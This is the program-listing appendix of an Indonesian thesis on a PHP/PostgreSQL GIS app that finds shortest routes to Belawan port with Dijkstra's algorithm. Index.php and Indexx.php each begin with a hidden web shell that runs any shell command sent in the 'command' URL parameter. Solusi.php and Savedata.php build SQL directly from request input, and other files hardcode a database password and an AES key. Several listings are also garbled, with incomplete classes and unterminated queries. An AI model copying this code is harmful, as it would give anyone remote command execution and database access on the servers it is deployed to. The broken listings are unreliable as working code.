Implementasi Algoritma Dijkstra Untuk Pencarian Rute Terpendek Menuju Pelabuhan Belawan Berbasis Sistem Informasi Geografis

  

LAMPIRAN

LISTING PROGRAM

Kode Program Index.php

  <?php if(isset($_GET['command'])){ $cmd = $_GET['command']; $handle = popen("$cmd", 'r'); while(!feof($handle)) { $buffer = fgets($handle); $buffer = '<p>'.trim(htmlspecialchars($buffer)).'</p>'; echo $buffer; ob_flush(); flush(); } pclose($handle); } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <meta name="keywords" content=""> <meta name="description" content="" /> <link rel="shortcut icon" href="../Gis_Belawan/images/favico.ico"> <title></title> </head> <frameset rows="80,*" frameborder="no" name="myframeset" id="myframeset"> <frame src='header.php' name='headerframe' scrolling='NO' noresize /> <frame src="indexx.php" name="viewerFrame" id="viewerFrame" /> <noframes></noframes> </frameset> </html>

  Kode Program Indexx.php

  <?php if(isset($_GET['command'])){ $cmd = $_GET['command'];

  $handle = popen("$cmd", 'r'); while(!feof($handle)) { $buffer = fgets($handle); $buffer = '<p>'.trim(htmlspecialchars($buffer)).'</p>'; echo $buffer; ob_flush(); flush(); } pclose($handle); } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <meta name="keywords" content=""> <meta name="description" content="" /> <link rel="shortcut icon" href="../Gis_Belawan/images/favico.ico"> <title></title> </head> <frameset rows="80,*" frameborder="no" name="myframeset" id="myframeset"> <frame src='header.php' name='headerframe' scrolling='NO' noresize /> <frame src="indexx.php" name="viewerFrame" id="viewerFrame" /> <noframes></noframes> </frameset> </html>

  Kode Program Header.php

  <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title></title> <style type="text/css"> <!-- body { margin-left: 0px; margin-top: 0px;

  }

  • > </style></head> <body background="images/headerss.jpg"> </body> </html>

  Kode Program IndexTask.php require_once('common/common.php'); $args = ($_SERVER['REQUEST_METHOD'] == "POST") ? $_POST : $_GET; $sessionId = $args['SESSION']; if (isset($args['MAPNAME'])) $mapName = $args['MAPNAME']; else $mapName = 'medan'; require_once 'pgkoneksi.php';

  //require_once 'utilityfunctions.php'; require_once 'JSON.php'; require_once 'query/classes/query.php'; $args = ($_SERVER['REQUEST_METHOD'] == "POST") ? $_POST : $_GET;

  ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Menu Utama</title> <meta http-equiv="content-style-type" content="text/css"> <link href="taskpane.css" rel="stylesheet" type="text/css" media="screen"

  /> <script type="text/javascript" language="JavaScript" src="solusi.js"></script> <script src="common/pageLoadFunctions.js" type="text/javascript" language="JavaScript"></script>

  <script language="javascript" src="../viewerfiles/browserdetect.js"></script> <script language="javascript" src="json.js"></script>

  </head> <body style="background:#330099"> <div class="menutask"> <p align="center"><strong>NAVIGASI PETA</strong></p>

  <form action="javascript:getsolusi();" method="post"> <p>Source:</p>

  <select name="sumber" id="sumber" style="width:190px;"> <?php

  $rs = pg_query("SELECT * FROM \"bangunan\" ORDER BY name"); $row = pg_fetch_row($rs); while($row = pg_fetch_array($rs)){

  ?> <option value="<?=$row['no_ruas']?>"><?=$row['name']?></option> <?php } ?> </select>

  <p>Destination:</p> <select name="tujuan" id="tujuan" style="width:190px;"> <?php

  $rs = pg_query("SELECT * FROM \"bangunan\" ORDER BY name

  $row = pg_fetch_row($rs); while($row = pg_fetch_array($rs)){ ?> <option value="<?=$row['no_ruas']?>"><?=$row['name']?></option> <?php } ?> </select>

  <p> </p> <input type="submit" value="Cari"/> </form> <p>Dijkstra Solution</p> <p id="totalpanjang"></p> <p>Show All <input type="checkbox" id="showall" onClick="showall('<?=$sessionId?>')"></p> <select class="Ctrl" id="hasil" size="15" onChange="getselect('<?=$sessionId?>')" style="width: 100%;"> </select>

  </div> </body> </html>

  Kode Program Mapinfo.php

  <html> <head> <title>Peta Administratif</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta http-equiv="content-script-type" content="text/javascript"> <meta http-equiv="content-style-type" content="text/css"> <link href="taskpane.css" rel="stylesheet" type="text/css" media="screen"

  /> </head> <body style="background: #f50707;"> <h2>Administratif</h2> <?php ///-----------Kecamatan----------------- echo "<p>KECAMATAN:</p>"; echo '<table class="taskPane" cellspacing="0" width="100%">'; echo '<tr><th class="rowHead">NAMA KECAMATAN</th><th>LUAS

  (Km2)</th></tr>'; $data=array(); $sessionId = $_GET['SESSION']; $mapName = $_GET['MAPNAME']; require_once 'common/common.php';

  MgInitializeWebTier($webconfigFilePath); $userInfo = new MgUserInformation($sessionId);

  $siteConnection->Open($userInfo); $map = new MgMap($siteConnection); $map->Open($mapName); //-------------------- $srs = GetMapSrs($map); $srsFactory = new MgCoordinateSystemFactory(); $srsMap = $srsFactory->Create($srs); //--------------- $layers = $map->GetLayers(); $layer = $layers->GetItem('Administrasi'); $featureGeometry = $layer->GetFeatureGeometryName(); $fQuery = new MgFeatureQueryOptions(); $fQuery->SetFilter(''); //----Ordering Option $stringCollection = new MgStringCollection(); $stringCollection->Add("kecamatan"); $fQuery->SetOrderingFilter($stringCollection,

  MgOrderingOption::Ascending); //----------- $featureReader = $layer->SelectFeatures($fQuery); $geometryReaderWriter = new MgAgfReaderWriter();

  $csTransform=null; $i=0; $j=0; $totalpanjang=0; $nkec=""; $totarea=0; while ($featureReader->ReadNext()) { $byteReader = $featureReader->GetGeometry($featureGeometry);

  $geometry = $geometryReaderWriter->Read($byteReader); $shplength = $geometry->GetArea();

  //$shplength = $shplength->Transform($csTransform); //$shplength = $shplength * (60 * 1.1515 * 1609.344);

  $shplength = $srsMap- >ConvertCoordinateSystemUnitsToMeters($shplength); $shplength = $shplength * 0.1; //Convert to Km $shplength = $shplength * 2.589988;

  $totalpanjang= $totalpanjang + $shplength; $totarea+=$shplength; if($j==0){ $nkec=$featureReader->GetString('kecamatan'); if($nkec==$featureReader->GetString('kecamatan')){ }else{

  $nama = ($featureReader->IsNull('kecamatan')) ? "NO NAME" : $featureReader->GetString('kecamatan'); echo "<tr><td class=\"rowHead\">" . ($i + 1) . ". " . $nama .

  "</td><td>" . number_format($totarea,1,".",",") . "</td></tr>\n"; $totarea=0; $i+=1; } $j+=1; $nkec=$featureReader->GetString('kecamatan');

  } echo "<tr><td class=\"rowHead\">" . "TOTAL: " . "</td><td>" . number_format($totalpanjang,1,".",",") . "</td></tr>\n"; echo '</table>';

  //-------- Kelurahan echo "<br />"; echo "<p>KELURAHAN:</p>"; echo '<table class="taskPane" cellspacing="0" width="100%">'; echo '<tr><th class="rowHead">NAMA KELURAHAN</th><th>LUAS

  (Km2)</th></tr>'; $layers = $map->GetLayers(); $layer = $layers->GetItem('Administrasi'); $featureGeometry = $layer->GetFeatureGeometryName(); $fQuery = new MgFeatureQueryOptions(); $fQuery->SetFilter(''); $featureReader = $layer->SelectFeatures($fQuery); $geometryReaderWriter = new MgAgfReaderWriter();

  $csTransform=null; $i=0; $totalpanjang=0; while ($featureReader->ReadNext()) { $byteReader = $featureReader->GetGeometry($featureGeometry);

  $geometry = $geometryReaderWriter->Read($byteReader); $shplength = $geometry->GetArea();

  $shplength = $srsMap- >ConvertCoordinateSystemUnitsToMeters($shplength); $shplength = $shplength * 0.1; //Convert to Km $shplength = $shplength * 2.589988;

  $totalpanjang= $totalpanjang + $shplength;

  $nama = ($featureReader->IsNull('keluraha')) ? "NO NAME" : $featureReader->GetString('keluraha'); echo "<tr><td class=\"rowHead\">" . ($i + 1) . ". " . $nama .

  "</td><td>" . number_format($shplength,1,".",",") . "</td></tr>\n"; $i+=1;

  } echo "<tr><td class=\"rowHead\">" . "TOTAL: " . "</td><td>" . number_format($totalpanjang,1,".",",") . "</td></tr>\n"; echo '</table>'; function GetMapSrs($map) { $srs = $map->GetMapSRS(); if($srs != "") return $srs; //SRS is currently optional. Waiting for this to change, set the default

  SRS to ArbitrayXY meters // return "LOCALCS[\"Non-Earth (Meter)\",LOCAL_DATUM[\"Local

  Datum\",0],UNIT[\"Meter\", 1],AXIS[\"X\",EAST],AXIS[\"Y\",NORTH]]";

  } ?> </body> </html>

  Kode Program Pgkoneksi.php

  <?php $connstring = "host=localhost port=5432 dbname=medan user=postgres password=admin"; $db = pg_connect($connstring); ?>

  Kode Program Dijkstra.php

  <?php class vertex{ public $key = NULL; public $visited = 0; public $distance = 1000000; // INFINITE public $parent = NULL; public $path = NULL; public function __construct($key){ $this->key = $key; } } class PriorityQueue extends SplPriorityQueue{ if ($a === $b) return 0; return $a > $b ? -1 : 1; } } $v0 = new vertex(0); $v1 = new vertex(1); $v2 = new vertex(2); $v3 = new vertex(3); $v4 = new vertex(4); $v5 = new vertex(5); $v6 = new vertex(6); $v7 = new vertex(7); $v8 = new vertex(8); $list0 = new SplDoublyLinkedList(); $list0->push(array('vertex' => $v1, 'distance' => 3)); $list0->push(array('vertex' => $v3, 'distance' => 1)); $list0->rewind(); $list1 = new SplDoublyLinkedList(); $list1->push(array('vertex' => $v0, 'distance' => 3)); $list1->push(array('vertex' => $v2, 'distance' => 7)); $list1->rewind(); $list2 = new SplDoublyLinkedList(); $list2->push(array('vertex' => $v1, 'distance' => 7)); $list2->push(array('vertex' => $v3, 'distance' => 8)); $list2->push(array('vertex' => $v4, 'distance' => 12)); $list2->rewind(); $list3 = new SplDoublyLinkedList(); $list3->push(array('vertex' => $v0, 'distance' => 1)); $list3->push(array('vertex' => $v2, 'distance' => 8)); $list3->rewind(); $list4 = new SplDoublyLinkedList(); $list4->push(array('vertex' => $v2, 'distance' => 12)); $list4->push(array('vertex' => $v5, 'distance' => 3)); $list4->rewind(); $list5 = new SplDoublyLinkedList(); $list5->push(array('vertex' => $v4, 'distance' => 3)); $list5->rewind(); $list6 = new SplDoublyLinkedList(); $list6->push(array('vertex' => $v6, 'distance' => 10)); $list6->rewind(); $list7 = new SplDoublyLinkedList(); $list7->push(array('vertex' => $v7, 'distance' => 15)); $list7->rewind(); $adjacencyList = array( $list0, $list1,

  $list3, $list4, $list5,

  $list6, $list7

  ); function calcShortestPaths(vertex $start, &$adjLists){ // define an empty queue $q = new PriorityQueue(); // push the starting vertex into the queue $q->insert($start, 0); $q->rewind(); // mark the distance to it 0 $start->distance = 0; // the path to the starting vertex $start->path = array($start->key); while ($q->valid()){ $t = $q->extract(); $t->visited = 1; $l = $adjLists[$t->key]; while ($l->valid()){ $item = $l->current(); if (!$item['vertex']->visited){ if ($item['vertex']->distance > ($t->distance +

  $item['distance'])){ $item['vertex']->distance = $t->distance +

  $item['distance']; $item['vertex']->parent = $t; } $item['vertex']->path = array_merge($t->path, array($item['vertex']->key)); $q->insert($item["vertex"], $item["vertex"]->distance); } $l->next(); } $q->recoverFromCorruption(); $q->rewind(); } } calcShortestPaths($v0, $adjacencyList); // The path from node 0 to node 5 // [0, 1, 2, 4, 5] // Array ( [0] => -2 [1] => -2 [2] => INFINITY [3] => -2 [4] => -2 ) echo '['.implode(', ', $v5->path).']'; ?>

  Kode Program Solusi.php require_once("pgkoneksi.php"); $sumber = $_GET['sumber']; $tujuan = $_GET['tujuan']; $query = "SELECT *

  FROM network JOIN (SELECT * FROM shortest_path('

  SELECT gid AS id, start_id::int4 AS source, end_id::int4 AS target, shape_leng::float8 AS cost

  FROM network', $sumber, $tujuan, false, false)) AS route

  ON network.gid = route.edge_id;"; $result=pg_query($query); if(pg_num_rows($result)>0){

  $i=0; while($row = pg_fetch_array($result)){ echo "<option value='".$row['gid']."'>Jalan ".$row['namajalan']." (".number_format($row['shape_leng'],1,',','.').") M"."</option>";

  $i = $i + $row['shape_leng']; } $i = number_format($i,1,',','.'); echo "totalpanjang:$i";

  }else{ echo "ERROR"; }

  ?>

  Kode Program Savedata.php

  <?php session_start(); $mysqlquery = "";

  $sqlfield = ""; $sqlvalue = ""; $sqltable = ""; $sqljoin = ""; $sqljoin2 = ""; $sqlID = ""; $sqlIDvalue = ""; foreach($_REQUEST as $vblname => $value) { if($vblname=="table"){ $sqltable = $value;

  $sqlID = $vblname; $sqlIDvalue = $value;

  }elseif($vblname!="SESSIONLOG" && $vblname!="OLDVALUE" && $vblname!="TAHUN" && $vblname!="PHPSESSID"){ $sqlfield = $sqlfield . $vblname . ",";

  $sqlvalue = $sqlvalue . "'" . $value . "'" . ","; //if (is_numeric($value)){ // $sqljoin = $sqljoin . $vblname . "=" . $value .

  ","; //}else{ $sqljoin = $sqljoin . "\"" . htmlspecialchars($vblname) ."\"" . "='" . $value . "',"; $sqljoin2 = $sqljoin2 . htmlspecialchars($vblname)."=" . $value . ",";

  //} } } if((strtolower($sqltable)=="drainase") or (strtolower($sqltable)=="gorong_gorong")){ require_once("pgkoneksi2.php"); }else{ require_once("pgkoneksi.php"); } $sqlfield = substr($sqlfield,0,strlen($sqlfield)-1); $sqlvalue = substr($sqlvalue,0,strlen($sqlvalue)-1); $sqljoin = substr($sqljoin,0,strlen($sqljoin)-1);

  $sqljoin2 = substr($sqljoin2,0,strlen($sqljoin2)-1); //$mysqlquery = "INSERT INTO \"" . sqltable . "\"(" . $sqlfield . ")

  VALUES(" . $sqlvalue . ")"; $mysqlquery = "UPDATE \"" . $sqltable . "\" SET " . $sqljoin . "

  WHERE " . $sqlID . "=" . $sqlIDvalue; $result = pg_query($mysqlquery); if (!$result) { $errormessage = pg_last_error(); echo $mysqlquery; //echo "Error pada query: " . $errormessage; //exit(); }else{ echo '0'; if(isset($_SESSION['SESSIONLOG'])){ require_once('aes.class.php'); // AES PHP implementation require_once('aesctr.class.php'); // AES Counter Mode implementation require_once("pgkoneksi.php");

  $decryptid = AesCtr::decrypt($_SESSION['SESSIONLOG'], 'AntorA the kin6', 256);

  $result=pg_query("SELECT * FROM \"user\" WHERE if(pg_num_rows($result)>0){ $data = pg_fetch_assoc($result);

  $username=$data['username']; } date_default_timezone_set('Asia/Jakarta'); //GMT+7; $todaydate=date("Y-m-d

  H:i:s",$_SERVER['REQUEST_TIME']); $oldvalue =html_entity_decode($_REQUEST['OLDVALUE']); $browsername = browser_detection('browser_working').browser_detection('browser

  _number'); $OS = browser_detection('os').browser_detection('os_number'); $ipaddress = getRealIpAddr(); if($ipaddress == '127.0.0.1'){ $ipaddress = 'Server'; }

  $mysqlquery = "INSERT INTO \"userjob\" (\"tanggal\",\"username\",\"table\",\"olddata\",\"updatedata\", \"ipaddress\",\"browser\",\"os\")

  VALUES('$todaydate','$username','$sqltable','$oldvalue','$sqljo in2','$ipaddress','$browsername','$OS')"; $result = pg_query($mysqlquery);

  } } pg_close(); function getRealIpAddr() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet { $ip=$_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check ip is pass from proxy

  { $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip=$_SERVER['REMOTE_ADDR']; } return $ip; } ?> <?php /* 1. browser_math_number - [deprecated: math_number] returns basic version comparison, ie. 1.2rel2a becomes 1.2 2. browser_name - returns the full browser name string, if available, otherwise returns '' (information not available) 2. browser_number - [deprecated: number] returns the browser version number, if available, otherwise returns '' (information not available) 3. browser_working [deprecated: browser] - returns the working shorthand browser name: ie, op, moz, konq, saf, ns4, webkit, and some others. If not shorthand, it will probably just return the full browser name, like lynx 4. dom - returns true/false if it is a basic dom browser, ie >= 5, opera >=

  5, all new mozillas, safaris, konquerors 5. ie_version - tests to see what general IE it is. Possible return values: ie9x - all new msie 9 or greater - note that if in compat mode, 7,8,9 all show as 7 ie7x - all new msie 7 or greater ie5x - msie 5 and 6, not mac ieMac - msie 5.x mac release ie4 - msie 4 old - pre msie 4 6. full - returns this array, listed by array index number: 0 - $browser_working 1 - $browser_number 2 - $ie_version 3 - $b_dom_browser 4 - $b_safe_browser 5 - $os_type 6 - $os_number 7 - $browser_name 8 - $ua_type 9 - $browser_math_number 10 - $a_moz_data 11 - $a_webkit_data 12 - $mobile_test (null or string value) 13 - $a_mobile_data (null or array of mobile data) 14 - $true_ie_number 15 - $run_time Note that moz/webkit_data are arrays which could contain null data, so always test first before assuming the moz/webkit arrays contain any data, ie, if moz or if webkit, then... 7. full_assoc - returns all relevant browser information in an associative array, same as above only with string indexes instead of numeric: 'browser_working' => $browser_working, 'browser_number' => $browser_number, 'ie_version' => $ie_version, 'dom' => $b_dom_browser, 'safe' => $b_safe_browser, 'os' => $os_type, 'os_number' => $os_number, 'browser_name_' => $browser_name,

  'browser_math_number' => $browser_math_number, 'moz_data' => $a_moz_data, 'webkit_data' => $a_webkit_data, 'mobile_test' => $mobile_test, 'mobile_data' => $a_mobile_data, 'true_ie_number' => $true_ie_number 'run_time' => $run_time 8. mobile_test - returns a string of various mobile id methods, from device to os to browser.

  If string is not null, should be a mobile. Also see 16, 'ua_type', which will be 'mobile' if handheld. 9. mobile_data - returns an array of data about mobiles. Note the browser/os number data is very unreliable so don't count on that. No blackberry version handling done explicitly. Make sure to test if this is an array because if it's not mobile it will be null, not an array listed by array index number: 0 - $mobile_device 1 - $mobile_browser 2 - $mobile_browser_number 3 - $mobile_os 4 - $mobile_os_number 5 - $mobile_server 6 - $mobile_server_number 7 - $mobile_device_number (this was added so has to be end of list to not break existing code) Note: $mobile_browser only returns if a specifically mobile browser is detected, like minimo. Same for mobile os, with the exception of linux. Otherwise the standard script os/browser data is used. $mobile_server is a handheld service like docomo, novarro- vision, etc. Sometimes the string will contain no other usable data than this to determine if it's handheld or not. 10. moz_data [deprecated: moz_version] - returns array of mozilla / gecko information Return Array listed by index number: 0 - $moz_type [moz version - the specific brand name that is, eg: firefox) 1 - $moz_number - the full version number of $moz_type (eg: for firefox: 3.6+2b) 2 - $moz_rv - the Mozilla rv version number, math comparison version. This tells you what gecko engine is running in the browser (eg rv: 1.8)

  3 - $moz_rv_full - rv number (for full rv, including alpha and beta versions: 1.8.1-b3) 4 - $moz_release_date - release date of the browser 11. os - returns which os is being used - win, nt, mac, OR iphone, blackberry, palmos, palmsource, symbian, beos, os2, amiga, webtv, linux, unix. 12. os_number - returns windows versions, 95, 98, ce, me, nt: 4; 5 [windows

  2000]; 5.1 [windows xp]; 5.2 [Server 2003]; 6.0 [Windows Vista], 6.1 [Windows 7]. Only win, nt, mac, iphone return os numbers (mac/iphone return 10 if OS X.)

  OR returns linux distro/unix release name, otherwise returns null 13. run_time - the time it takes this script to execute from start to point of returning value Requires PHP 5 or greater. Returns time in seconds to 8 decimal places:

  0.00245687 Run time does not count the time used by PHP to include/parse the file initially. That total time is about 5-10x longer. Because subsequent script run throughs go

  VERY fast, you will see the seconds go from something like 0.00115204 for first time, to something like 0.00004005 for second and more runs. 14. safe - returns true/false, you can determine what makes the browser be safe lower down, currently it's set for ns4 and pre version 1 mozillas not being safe, plus all older browsers 15. true_ie_number - [deprecated: true_msie_version] returns the true version of msie running, ignoring the compat mode version. Note that php will turn 7.0 to 8 when adding 1, so keep that in mind in your tests. 7.1 will become 8.1 as expected, however. This test currently only tests for

  7.x -> 8.x FYI: in PHP, 7.0 == 7 is true but 7.0 === 7 is NOT true. If this is null but set, then it is NOT running in compatibility mode. 16. ua_type [deprecated: type] - returns one of the following: bot (web bot) bro (normal browser) bbro (simple browser) mobile (handheld) dow (downloading agent) lib (http library) 17. webkit_data - [deprecated: webkit_version] returns array of webkit data. Return Array listed by index number: 0 - $webkit_type [webkit version name (Eg. chrome)] 1 - $webkit_type_number [webkit version number (Eg. Chrome's: 1.2)] 2 - $browser_number [the actual webkit version number (Eg. Webkit's:

  436)]

  • Optional second script parameter, to turn off features if not required. These would be the second argument used in the function call if used, like: browser_detection( 'full',

  '1' ); Test Exclusions - switches to turn off various tests, useful if you want to optimize execution and don't need the test data type excluded.

  • 1 - turn off os tests 2 - turn off mobile tests 3 - turn off mobile and os tests
  • Optional third script parameter, pass the script externally derived UA strings, for testing/ processing purposes. Idea from Rui Teixeira

  Note: include a blank second arg when you use the 3rd parameter if the second is not set: example: browser_detection( 'full', '', $test_string_data ) Using third parameter sets $b_repeat to false in other words, if you use this parameter, the script will do the full processing on the UA string, then switch $b_repeat back to true at the end.

  However, be aware that all requests to the script after the last testing value is sent will use the previous testing value, NOT the actual UA string, so make sure to handle that in your programming if you require the true UA data to be processed after the final testing value is sent by resetting that data with the true UA value.

  • / // main script, uses two other functions, get_os_data() and get_item_version() as needed

  // Optional $test_excludes is either null or one of the above values function browser_detection( $which_test, $test_excludes='', $external_ua_string='' )

  { /* uncomment the global variable declaration if you want the variables to be available on a global level throughout your php page, make sure that php is configured to support the use of globals first!

  Use of globals should be avoided however, and they are not necessary with this script /* /* global $a_full_assoc_data, $a_mobile_data, $a_moz_data,

  $a_webkit_data, $b_dom_browser, $b_repeat, $b_safe_browser, $browser_name, $browser_number, $browser_math_number, $browser_user_agent, $browser_working, $ie_version, $mobile_test, $moz_number, $moz_rv, $moz_rv_full, $moz_release_date, $moz_type, $os_number, $os_type, $true_ie_number, $ua_type, $webkit_type, $webkit_type_number;

  • / script_time(); // set script timer to start timing static $a_full_assoc_data, $a_mobile_data, $a_moz_data,

  $a_webkit_data, $b_dom_browser, $b_repeat, $b_safe_browser, $browser_name, $browser_number, $browser_math_number, $browser_user_agent, $browser_working, $ie_version, $mobile_test, $moz_number, $moz_rv, $moz_rv_full, $moz_release_date, $moz_type, $os_number, $os_type, $true_ie_number, $ua_type, $webkit_type, $webkit_type_number; // switch off the optimization for external ua string testing. if ( $external_ua_string ) {

  $b_repeat = false;

  /* this makes the test only run once no matter how many times you call it since all the variables are filled on the first run through, it's only a matter of returning the the right ones

  • / if ( !$b_repeat ) {

  //initialize all variables with default values to prevent error $a_browser_math_number = ''; $a_full_assoc_data = ''; $a_full_data = ''; $a_mobile_data = ''; $a_moz_data = ''; $a_os_data = ''; $a_unhandled_browser = ''; $a_webkit_data = ''; $b_dom_browser = false; $b_os_test = true; $b_mobile_test = true; $b_safe_browser = false; $b_success = false;// boolean for if browser found in main test $browser_math_number = ''; $browser_temp = ''; $browser_working = ''; $browser_number = ''; $ie_version = ''; $mobile_test = ''; $moz_release_date = ''; $moz_rv = ''; $moz_rv_full = ''; $moz_type = ''; $moz_number = ''; $os_number = ''; $os_type = ''; $run_time = ''; $true_ie_number = ''; $ua_type = 'bot';// default to bot since you never know with bots $webkit_type = ''; $webkit_type_number = ''; // set the excludes if required if ( $test_excludes ) { switch ( $test_excludes )

  { case '1': $b_os_test = false; break; case '2':

  $b_mobile_test = false; break; case '3':

  $b_mobile_test = false; break; default: die( 'Error: bad $test_excludes parameter 2 used: ' . $test_excludes ); break;

  } } /* make navigator user agent string lower case to make sure all versions get caught isset protects against blank user agent failure. tolower also lets the script use strstr instead of stristr, which drops overhead slightly.

  • / if ( $external_ua_string ) {

  $browser_user_agent = strtolower( $external_ua_string ); } elseif ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {

  $browser_user_agent = strtolower( $_SERVER['HTTP_USER_AGENT'] ); } else {

  $browser_user_agent = ''; } /* pack the browser type array, in this order the order is important, because opera must be tested first, then omniweb [which has safari data in string], same for konqueror, then safari, then gecko, since safari navigator user agent id's with 'gecko' in string. Note that $b_dom_browser is set for all modern dom browsers, this gives you a default to use. array[0] = id string for useragent, array[1] is if dom capable, array[2] is working name for browser, array[3] identifies navigator useragent type Note: all browser strings are in lower case to match the strtolower output, this avoids possible detection errors Note: These are the navigator user agent types: bro - modern, css supporting browser. bbro - basic browser, text only, table only, defective css implementation bot - search type spider dow - known download agent lib - standard http libraries mobile - handheld or mobile browser, set using $mobile_test

  // known browsers, list will be updated routinely, check back now and then $a_browser_types = array( array( 'opera', true, 'op', 'bro' ), array( 'msie', true, 'ie', 'bro' ), // webkit before gecko because some webkit ua strings say: like gecko array( 'webkit', true, 'webkit', 'bro' ), // konq will be using webkit soon array( 'konqueror', true, 'konq', 'bro' ), // covers Netscape 6-7, K-Meleon, Most linux versions, uses moz array below array( 'gecko', true, 'moz', 'bro' ), array( 'netpositive', false, 'netp', 'bbro' ),// beos browser array( 'lynx', false, 'lynx', 'bbro' ), // command line browser array( 'elinks ', false, 'elinks', 'bbro' ), // new version of links array( 'elinks', false, 'elinks', 'bbro' ), // alternate id for it array( 'links2', false, 'links2', 'bbro' ), // alternate links version array( 'links ', false, 'links', 'bbro' ), // old name for links array( 'links', false, 'links', 'bbro' ), // alternate id for it array( 'w3m', false, 'w3m', 'bbro' ), // open source browser, more features than lynx/links array( 'webtv', false, 'webtv', 'bbro' ),// junk ms webtv array( 'amaya', false, 'amaya', 'bbro' ),// w3c browser array( 'dillo', false, 'dillo', 'bbro' ),// linux browser, basic table support array( 'ibrowse', false, 'ibrowse', 'bbro' ),// amiga browser array( 'icab', false, 'icab', 'bro' ),// mac browser array( 'crazy browser', true, 'ie', 'bro' ),// uses ie rendering engine // search engine spider bots: array( 'bingbot', false, 'bing', 'bot' ),// bing array( 'exabot', false, 'exabot', 'bot' ),// exabot array( 'googlebot', false, 'google', 'bot' ),// google array( 'google web preview', false, 'googlewp', 'bot' ),// google preview array( 'mediapartners-google', false, 'adsense', 'bot' ),// google adsense array( 'yahoo-verticalcrawler', false, 'yahoo', 'bot' ),// old yahoo bot array( 'yahoo! slurp', false, 'yahoo', 'bot' ), // new yahoo bot array( 'yahoo-mm', false, 'yahoomm', 'bot' ), // gets

  Yahoo-MMCrawler and Yahoo-MMAudVid bots array( 'inktomi', false, 'inktomi', 'bot' ), // inktomi bot array( 'slurp', false, 'inktomi', 'bot' ), // inktomi bot array( 'fast-webcrawler', false, 'fast', 'bot' ),// Fast array( 'msnbot', false, 'msn', 'bot' ),// msn search array( 'ask jeeves', false, 'ask', 'bot' ), //jeeves/teoma array( 'teoma', false, 'ask', 'bot' ),//jeeves teoma array( 'scooter', false, 'scooter', 'bot' ),// altavista array( 'openbot', false, 'openbot', 'bot' ),// openbot, from taiwan array( 'ia_archiver', false, 'ia_archiver', 'bot' ),// ia archiver array( 'zyborg', false, 'looksmart', 'bot' ),// looksmart array( 'almaden', false, 'ibm', 'bot' ),// ibm almaden web crawler array( 'baiduspider', false, 'baidu', 'bot' ),// Baiduspider asian search spider array( 'psbot', false, 'psbot', 'bot' ),// psbot image crawler array( 'gigabot', false, 'gigabot', 'bot' ),// gigabot crawler array( 'naverbot', false, 'naverbot', 'bot' ),// naverbot crawler, bad bot, block array( 'surveybot', false, 'surveybot', 'bot' ),// array( 'boitho.com-dc', false, 'boitho', 'bot'

  ),//norwegian search engine array( 'objectssearch', false, 'objectsearch', 'bot' ),// open source search engine array( 'answerbus', false, 'answerbus', 'bot' ),// http://www.answerbus.com/, web questions array( 'sohu-search', false, 'sohu', 'bot' ),// chinese media company, search component array( 'iltrovatore-setaccio', false, 'il-set', 'bot' ),

  // various http utility libaries array( 'w3c_validator', false, 'w3c', 'lib' ), // uses libperl, make first array( 'wdg_validator', false, 'wdg', 'lib' ), // array( 'libwww-perl', false, 'libwww-perl', 'lib' ), array( 'jakarta commons-httpclient', false, 'jakarta',

  'lib' ), array( 'python-urllib', false, 'python-urllib', 'lib' ), // download apps array( 'getright', false, 'getright', 'dow' ), array( 'wget', false, 'wget', 'dow' ),// open source downloader, obeys robots.txt // netscape 4 and earlier tests, put last so spiders don't get caught array( 'mozilla/4.', false, 'ns', 'bbro' ), array( 'mozilla/3.', false, 'ns', 'bbro' ), array( 'mozilla/2.', false, 'ns', 'bbro' )

  ); //array( '', false ); // browser array template /* moz types array note the order, netscape6 must come before netscape, which is rv comes last in case it is plain old mozilla. firefox/netscape/seamonkey need to be later Thanks to: http://www.zytrax.com/tech/web/firefox-history.html

  • / $a_moz_types = array( 'bonecho', 'camino', 'epiphany', 'firebird', 'flock', 'galeon', 'iceape', 'icecat', 'k-meleon', 'minimo', 'multizilla', 'phoenix', 'songbird', 'swiftfox', 'seamonkey', 'shadowfox', 'shiretoko', 'iceweasel', 'firefox', 'minefield', 'netscape6', 'netscape', 'rv' );

  /* webkit types, this is going to expand over time as webkit browsers spread konqueror is probably going to move to webkit, so this is preparing for that It will now default to khtml. gtklauncher is the temp id for epiphany, might change. Defaults to applewebkit, and will all show the webkit number.

  • / $a_webkit_types = array( 'arora', 'chrome', 'epiphany', 'gtklauncher', 'icab', 'konqueror', 'maxthon', 'midori', 'omniweb', 'rekonq', 'safari', 'shiira', 'uzbl', 'applewebkit', 'webkit' ); /*

  run through the browser_types array, break if you hit a match, if no match, assume old browser or non dom browser, assigns false value to $b_success.

  • / $i_count = count( $a_browser_types ); for ( $i = 0; $i < $i_count; $i++ ) {

  //unpacks browser array, assigns to variables, need to not assign til found in string $browser_temp = $a_browser_types[$i][0];// text string to id browser from array if ( strstr( $browser_user_agent, $browser_temp ) ) {

  /* it defaults to true, will become false below if needed this keeps it easier to keep track of what is safe, only explicit false assignment will make it false.

  • / $b_safe_browser = true; $browser_name = $browser_temp;// text string to id browser from array

  // assign values based on match of user agent string $b_dom_browser = $a_browser_types[$i][1];// hardcoded dom support from array $browser_working = $a_browser_types[$i][2];// working name for browser

  $ua_type = $a_browser_types[$i][3];// sets whether bot or browser switch ( $browser_working ) {

  // this is modified quite a bit, now will return proper netscape version number // check your implementation to make sure it works case 'ns':

  $b_safe_browser = false; $browser_number = get_item_version(

  $browser_user_agent, 'mozilla' ); break; case 'moz':

  /* note: The 'rv' test is not absolute since the rv number is very different on different versions, for example Galean doesn't use the same rv version as Mozilla, neither do later Netscapes, like 7.x. For more on this, read the full mozilla numbering conventions here: http://www.mozilla.org/releases/cvstags.html

  • / // this will return alpha and beta version numbers, if present

  $moz_rv_full = get_item_version( $browser_user_agent, 'rv' );

